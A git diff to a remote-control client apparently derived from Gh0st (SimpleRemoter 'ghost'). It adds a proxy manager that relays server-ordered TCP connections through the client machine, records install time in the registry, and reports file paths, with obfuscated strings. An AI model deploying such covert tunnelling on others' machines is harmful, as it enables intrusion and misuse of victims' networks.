diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index e554079..0795613 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -70,23 +70,23 @@
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)
- $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
+ $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
$(Configuration)\dll
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)
- $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
+ $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
$(Platform)\$(Configuration)\dll
- $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)
+ $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
$(Configuration)\dll
- $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)
+ $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
$(Platform)\$(Configuration)\dll
@@ -173,6 +173,7 @@
+
@@ -186,7 +187,6 @@
-
@@ -199,6 +199,7 @@
+
diff --git a/client/Common.cpp b/client/Common.cpp
index ce769ec..6e1fbd5 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -11,9 +11,85 @@
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KeyboardManager.h"
+#include "ProxyManager.h"
#include "KernelManager.h"
+#define REG_SETTINGS "Software\\ServerD11\\Settings"
+
+// 写入字符串配置(多字节版)
+bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
+ HKEY hKey;
+
+ LONG result = RegCreateKeyExA(
+ HKEY_CURRENT_USER,
+ REG_SETTINGS,
+ 0,
+ NULL,
+ 0,
+ KEY_WRITE,
+ NULL,
+ &hKey,
+ NULL
+ );
+
+ if (result != ERROR_SUCCESS) {
+ Mprintf("无法创建或打开注册表键,错误码: %d\n", result);
+ return false;
+ }
+
+ result = RegSetValueExA(
+ hKey,
+ keyName.c_str(),
+ 0,
+ REG_SZ,
+ reinterpret_cast(value.c_str()),
+ static_cast(value.length() + 1)
+ );
+
+ RegCloseKey(hKey);
+ return result == ERROR_SUCCESS;
+}
+
+// 读取字符串配置(多字节版)
+bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
+ HKEY hKey;
+
+ LONG result = RegOpenKeyExA(
+ HKEY_CURRENT_USER,
+ REG_SETTINGS,
+ 0,
+ KEY_READ,
+ &hKey
+ );
+
+ if (result != ERROR_SUCCESS) {
+ return false;
+ }
+
+ char buffer[256];
+ DWORD bufferSize = sizeof(buffer);
+ DWORD type = 0;
+
+ result = RegQueryValueExA(
+ hKey,
+ keyName.c_str(),
+ nullptr,
+ &type,
+ reinterpret_cast(buffer),
+ &bufferSize
+ );
+
+ RegCloseKey(hKey);
+
+ if (result == ERROR_SUCCESS && type == REG_SZ) {
+ outValue = buffer;
+ return true;
+ }
+
+ return false;
+}
+
DWORD WINAPI ThreadProc(LPVOID lParam)
{
THREAD_ARG_LIST ThreadArgList = {0};
@@ -94,3 +170,7 @@ DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
return LoopManager(lParam);
}
+
+DWORD WINAPI LoopProxyManager(LPVOID lParam) {
+ return LoopManager(lParam);
+}
diff --git a/client/Common.h b/client/Common.h
index 66902ab..2b7e6d1 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -18,6 +18,11 @@ typedef struct UserParam
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam;
+// 写入配置
+bool WriteAppSettingA(const std::string& keyName, const std::string& value);
+// 读取配置
+bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
+
DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD WINAPI LoopShellManager(LPVOID lParam);
@@ -31,3 +36,4 @@ DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
+DWORD WINAPI LoopProxyManager(LPVOID lParam);
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 847716c..5993eea 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -126,6 +126,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch(szBuffer[0])
{
+ case COMMAND_PROXY: {
+ m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
+ m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
+ break;
+ }
+
case COMMAND_SHARE:
if (ulLength > 2) {
switch (szBuffer[1]) {
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index 3e8e842..3f34e82 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -201,12 +201,26 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
+ LoginInfor.AddReserved("?"); // 系统位数
+ LoginInfor.AddReserved("?"); // CPU核数
+ LoginInfor.AddReserved("?"); // 系统内存
+ char buf[_MAX_PATH] = {};
+ GetModuleFileNameA(NULL, buf, sizeof(buf));
+ LoginInfor.AddReserved(buf); // 文件路径
+ LoginInfor.AddReserved("?"); // test
+ std::string installTime;
+ auto b = ReadAppSettingA("install_time", installTime);
+ if (!b || installTime.empty()) {
+ installTime = ToPekingTimeAsString(nullptr);;
+ WriteAppSettingA("install_time", installTime);
+ }
+ LoginInfor.AddReserved(installTime.c_str());
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
std::string masterHash(skCrypt(MASTER_HASH));
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
-
+
return LoginInfor;
}
diff --git a/client/Manager.h b/client/Manager.h
index 08a719d..63b2b98 100644
--- a/client/Manager.h
+++ b/client/Manager.h
@@ -14,6 +14,8 @@
typedef IOCPClient CClientSocket;
+typedef IOCPClient ISocketBase;
+
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
diff --git a/client/StdAfx.h b/client/StdAfx.h
index 1c4f0e1..2e037a9 100644
--- a/client/StdAfx.h
+++ b/client/StdAfx.h
@@ -63,6 +63,7 @@
#include
#include
+#include
// 智能计时器,计算函数的耗时
class auto_tick
@@ -100,6 +101,10 @@ public:
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
+#ifndef SAFE_DELETE_AR
+#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
+#endif
+
class CLock
{
private:
@@ -124,3 +129,18 @@ public:
EnterCriticalSection(&m_cs);
}
};
+
+class CAutoLock
+{
+private:
+ CRITICAL_SECTION &m_cs;
+public:
+ CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
+ {
+ EnterCriticalSection(&m_cs);
+ }
+ ~CAutoLock()
+ {
+ LeaveCriticalSection(&m_cs);
+ }
+};
diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj
index 69fd220..7485fb4 100644
--- a/client/TestRun_vs2015.vcxproj
+++ b/client/TestRun_vs2015.vcxproj
@@ -68,22 +68,22 @@
- $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
+ $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)
$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)
$(Configuration)\test
- $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
+ $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)
$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)
$(Platform)\$(Configuration)\test
- $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
+ $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)
$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)
$(Configuration)\test
- $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
+ $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)
$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)
$(Platform)\$(Configuration)\test
@@ -161,7 +161,6 @@
-
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 3591823..17fa421 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -71,22 +71,22 @@
$(Configuration)\ghost
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
- $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
+ $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
- $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
+ $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
$(Platform)\$(Configuration)\ghost
$(Configuration)\ghost
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
- $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
+ $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
- ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)
- $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)
+ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
+ $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
$(Platform)\$(Configuration)\ghost
@@ -183,6 +183,7 @@
+
@@ -196,12 +197,10 @@
-
-
@@ -210,6 +209,7 @@
+
diff --git a/client/proxy/ProxyManager.cpp b/client/proxy/ProxyManager.cpp
new file mode 100644
index 0000000..c6de04f
--- /dev/null
+++ b/client/proxy/ProxyManager.cpp
@@ -0,0 +1,298 @@
+// ShellManager.cpp: implementation of the CShellManager class.
+//
+//////////////////////////////////////////////////////////////////////
+#include "stdafx.h"
+#include "ProxyManager.h"
+#include
+#include
+#include "stdio.h"
+#include
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager(pClient)
+{
+ InitializeCriticalSection(&m_cs);
+ m_bUse = TRUE;
+ m_nSend = 0;
+ Threads = 0;
+ BYTE cmd = COMMAND_PROXY;
+ Send(&cmd, 1);
+ Mprintf("CProxyManager create: %p\n", this);
+}
+
+CProxyManager::~CProxyManager()
+{
+ m_bUse = FALSE;
+ Sleep(1500);
+ std::map::iterator it_oneofserver = list.begin();
+ while (it_oneofserver != list.end()) {
+ SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
+ if (p_socket) {
+ if (*p_socket != INVALID_SOCKET) {
+ closesocket(*p_socket);
+ *p_socket = 0;
+ }
+ SAFE_DELETE(it_oneofserver->second);
+ }
+ list.erase(it_oneofserver++);
+ }
+ Wait();
+ DeleteCriticalSection(&m_cs);
+ Mprintf("CProxyManager destroy: %p\n", this);
+}
+
+int CProxyManager::Send(LPBYTE lpData, UINT nSize)
+{
+ if (!m_bUse) return 0;
+ int ret = CManager::Send(lpData, nSize);
+ return ret;
+}
+
+void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
+{
+ lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
+ *(DWORD*)&lpBuffer[5] = ip;
+ *(USHORT*)&lpBuffer[9] = port;
+ Send(lpBuffer, 11);
+}
+
+void CProxyManager::Disconnect(DWORD index)
+{
+ BYTE buf[5];
+ buf[0] = TOKEN_PROXY_CLOSE;
+ memcpy(&buf[1], &index, sizeof(DWORD));
+ Send(buf, sizeof(buf));
+ GetSocket(index,TRUE);
+}
+
+void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
+{
+ if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
+ if (!m_bUse) return ;
+ switch (lpBuffer[0]) {
+ /*[1]----[4]----[4]----[2]
+ cmd id ip port*/
+ case COMMAND_PROXY_CONNECT: {
+ SocksThreadArg arg;
+ arg.pThis = this;
+ arg.lpBuffer = lpBuffer;
+ AddThread(1);
+ CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
+ while (arg.lpBuffer)
+ Sleep(2);
+ }
+ break;
+ case COMMAND_PROXY_CONNECT_HOSTNAME: {
+ SocksThreadArg arg;
+ arg.pThis = this;
+ arg.lpBuffer = lpBuffer;
+ arg.len = nSize;
+ AddThread(1);
+ CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
+ while (arg.lpBuffer)
+ Sleep(2);
+ }
+ break;
+ case COMMAND_PROXY_CLOSE: {
+ GetSocket(*(DWORD*)&lpBuffer[1],TRUE);
+ }
+ break;
+ case COMMAND_PROXY_DATA:
+ DWORD index = *(DWORD*)&lpBuffer[1];
+ DWORD nRet, nSend = 5, nTry = 0;
+ SOCKET* s = GetSocket(index);
+ if (!s) return;
+ while (s && (nSend < nSize) && nTry < 15) {
+ nRet = send(*s, (char*)&lpBuffer[nSend], nSize - nSend, 0);
+ if (nRet == SOCKET_ERROR) {
+ nRet = GetLastError();
+ Disconnect(index);
+ break;
+ } else {
+ nSend += nRet;
+ }
+ nTry++;
+ }
+ break;
+ }
+}
+
+DWORD CProxyManager::SocksThread(LPVOID lparam)
+{
+ SocksThreadArg* pArg = (SocksThreadArg*)lparam;
+ CProxyManager* pThis = pArg->pThis;
+ BYTE lpBuffer[11];
+ SOCKET* psock=new SOCKET;
+ DWORD ip;
+ sockaddr_in sockAddr;
+ int nSockAddrLen;
+ memcpy(lpBuffer, pArg->lpBuffer, 11);
+ pArg->lpBuffer = 0;
+
+ DWORD index = *(DWORD*)&lpBuffer[1];
+ *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (*psock == SOCKET_ERROR) {
+ pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
+ SAFE_DELETE(psock);
+ pThis->AddThread(-1);
+ return 0;
+ }
+ ip = *(DWORD*)&lpBuffer[5];
+ // 构造sockaddr_in结构
+ sockaddr_in ClientAddr;
+ ClientAddr.sin_family = AF_INET;
+ ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
+ ClientAddr.sin_addr.S_un.S_addr = ip;
+
+ if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
+ pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
+ SAFE_DELETE(psock);
+ pThis->AddThread(-1);
+ return 0;
+ }
+
+ pThis->list.insert(std::pair(index, psock));
+ memset(&sockAddr, 0, sizeof(sockAddr));
+ nSockAddrLen = sizeof(sockAddr);
+ getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
+ if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
+ pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
+
+ ISocketBase* pClient = pThis->m_ClientObject;
+ BYTE* buff = new BYTE[MAX_RECV_BUFFER];
+ struct timeval timeout;
+ SOCKET socket = *psock;
+ fd_set fdSocket;
+ FD_ZERO(&fdSocket);
+ FD_SET(socket, &fdSocket);
+ timeout.tv_sec = 0;
+ timeout.tv_usec = 10000;
+ buff[0] = TOKEN_PROXY_DATA;
+ memcpy(buff + 1, &index, 4);
+ while (pClient->IsRunning()) {
+ fd_set fdRead = fdSocket;
+ int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
+ if (nRet == SOCKET_ERROR) {
+ nRet = GetLastError();
+ pThis->Disconnect(index);
+ break;
+ }
+ if (nRet > 0) {
+ int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
+ if (nSize <= 0) {
+ pThis->Disconnect(index);
+ break;
+ }
+ if (nSize > 0)
+ pThis->Send(buff, nSize + 5);
+ }
+ }
+ SAFE_DELETE_AR(buff);
+ FD_CLR(socket, &fdSocket);
+ pThis->AddThread(-1);
+ return 0;
+}
+
+DWORD CProxyManager::SocksThreadhostname(LPVOID lparam)
+{
+ SocksThreadArg* pArg = (SocksThreadArg*)lparam;
+ CProxyManager* pThis = pArg->pThis;
+ BYTE* lpBuffer = new BYTE[pArg->len];
+ memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
+ pArg->lpBuffer = 0;
+
+ DWORD index = *(DWORD*)&lpBuffer[1];
+ USHORT nPort = 0;
+ memcpy(&nPort, lpBuffer + 5, 2);
+ hostent* pHostent = NULL;
+ pHostent = gethostbyname((char*)lpBuffer + 7);
+ if (!pHostent) {
+ pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
+ SAFE_DELETE_AR(lpBuffer);
+ return 0;
+ }
+ SOCKET* psock=new SOCKET;
+
+ sockaddr_in sockAddr;
+ int nSockAddrLen;
+ *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (*psock == SOCKET_ERROR) {
+ pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
+ SAFE_DELETE_AR(lpBuffer);
+ SAFE_DELETE(psock);
+ pThis->AddThread(-1);
+ return 0;
+ }
+
+ // 构造sockaddr_in结构
+ sockaddr_in ClientAddr;
+ ClientAddr.sin_family = AF_INET;
+ ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
+ ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
+ if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
+ pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
+ SAFE_DELETE_AR(lpBuffer);
+ SAFE_DELETE(psock);
+ pThis->AddThread(-1);
+ return 0;
+ }
+ pThis->list.insert(std::pair(index, psock));
+
+ memset(&sockAddr, 0, sizeof(sockAddr));
+ nSockAddrLen = sizeof(sockAddr);
+ getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
+ if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
+ pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
+ SAFE_DELETE_AR(lpBuffer);
+ ISocketBase* pClient = pThis->m_ClientObject;
+ BYTE* buff = new BYTE[MAX_RECV_BUFFER];
+ struct timeval timeout;
+ SOCKET socket = *psock;
+ fd_set fdSocket;
+ FD_ZERO(&fdSocket);
+ FD_SET(socket, &fdSocket);
+ timeout.tv_sec = 0;
+ timeout.tv_usec = 10000;
+ buff[0] = TOKEN_PROXY_DATA;
+ memcpy(buff + 1, &index, 4);
+ while (pClient->IsRunning()) {
+ fd_set fdRead = fdSocket;
+ int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
+ if (nRet == SOCKET_ERROR) {
+ nRet = GetLastError();
+ pThis->Disconnect(index);
+ break;
+ }
+ if (nRet > 0) {
+ int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
+ if (nSize <= 0) {
+ pThis->Disconnect(index);
+ break;
+ }
+ if (nSize > 0)
+ pThis->Send(buff, nSize + 5);
+ }
+ }
+ SAFE_DELETE_AR(buff);
+ FD_CLR(socket, &fdSocket);
+ pThis->AddThread(-1);
+ return 0;
+}
+
+
+SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
+{
+ if (!m_bUse) return NULL;
+ CAutoLock locallock(m_cs);
+ SOCKET* s = list[index];
+ if ( del) {
+ if (!s) return s;
+ closesocket(*s);
+ SAFE_DELETE(s);
+ list.erase(index);
+ }
+
+ return s;
+}
diff --git a/client/proxy/ProxyManager.h b/client/proxy/ProxyManager.h
new file mode 100644
index 0000000..2281669
--- /dev/null
+++ b/client/proxy/ProxyManager.h
@@ -0,0 +1,40 @@
+#pragma once
+#include "Manager.h"
+#include